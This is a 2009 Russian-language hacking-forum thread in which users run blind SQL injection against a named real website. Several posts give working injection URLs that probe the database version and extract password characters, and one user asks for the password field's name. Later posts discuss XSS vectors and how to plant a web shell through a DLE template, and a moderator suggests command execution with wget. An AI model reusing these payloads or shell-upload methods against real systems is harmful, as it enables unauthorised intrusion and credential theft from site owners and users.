23.10.2009, 11:02
|
|
Познающий
Регистрация: 15.01.2006
Сообщений: 45
С нами:
10693512
Репутация:
16
|
|
Сообщение от HAXTA4OK
Сканер прав
http://apg-ua.com/index.php?o=66+AND+SUBSTRING(VERSION(),1,1)=5+--+
Видимо я мало понимаю, но где смотреть ответ сервера?
|
|
|
23.10.2009, 11:06
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами:
9410786
Репутация:
2731
|
|
Сообщение от Patrik
Видимо я мало понимаю, но где смотреть ответ сервера?
В даном случае, если условие true, значит выведется страница, если нет - не выведется.
|
|
|
|
23.10.2009, 11:07
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
С нами:
9030566
Репутация:
2017
|
|
Это называется blind -sql -inj
то есть при правильном запросе у тебя выдаст страницу которая должна быть, при не правильном , в твоем случае , вообще ни чего.
то есть при http://apg-ua.com/index.php?o=66+AND+SUBSTRING(VERSION(),1,1)=5+--+ выдаст страницу , а при http://apg-ua.com/index.php?o=66+AND+SUBSTRING(VERSION(),1,1)=4+--+ ни чего не выводит,
|
|
|
|
23.10.2009, 11:59
|
|
Познающий
Регистрация: 15.01.2006
Сообщений: 45
С нами:
10693512
Репутация:
16
|
|
Вот только строки user() нету. Что делать? Т.е. substring(user(),1,1) не обрабатывается.
|
|
|
|
23.10.2009, 12:31
|
|
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
С нами:
9100556
Репутация:
912
|
|
Patrik,
_http://forum.antichat.ru/thread119047.html , _https://forum.antichat.ru/threadnav35207-1-10.html
|
|
|
|
23.10.2009, 14:02
|
|
Познающий
Регистрация: 15.01.2006
Сообщений: 45
С нами:
10693512
Репутация:
16
|
|
_http://apg-ua.com/index.php?o=66+AND+substring(Password(),1,1)<100--
Пол царства за имя поля с паролем  |
|
|
|
23.10.2009, 15:51
|
|
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
С нами:
10109126
Репутация:
1980
|
|
в атрибутах тэгов, css-стилях, также не забываем про dom-based xss
|
|
|
|
23.10.2009, 17:26
|
|
Участник форума
Регистрация: 23.08.2007
Сообщений: 157
С нами:
9851463
Репутация:
19
|
|
как в дле залить шелл через шаблон?
|
|
|
|
23.10.2009, 19:07
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
С нами:
9154406
Репутация:
2221
|
|
Сообщение от M1ks
как в дле залить шелл через шаблон?
Впиши туда .
Если фильтрации нету, то ?c=wget и т.п.
|
|
|
|
23.10.2009, 19:12
|
|
Участник форума
Регистрация: 23.08.2007
Сообщений: 157
С нами:
9851463
Репутация:
19
|
|
фильтрация..
ps есть еще доступ к админке в Coppermine Photo Gallery , на форуме смотрел баги, непрокатило, незнаю вот как туда еще можно шел вбить..
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
![Аватар для .:[melkiy]:.](/avatars/avatar74910.jpg?1620404){kind=avatar}
![Аватар для [Raz0r]](/avatars/avatar33548.jpg?1620900){kind=avatar}
Похожие темы
Комбинированный вид
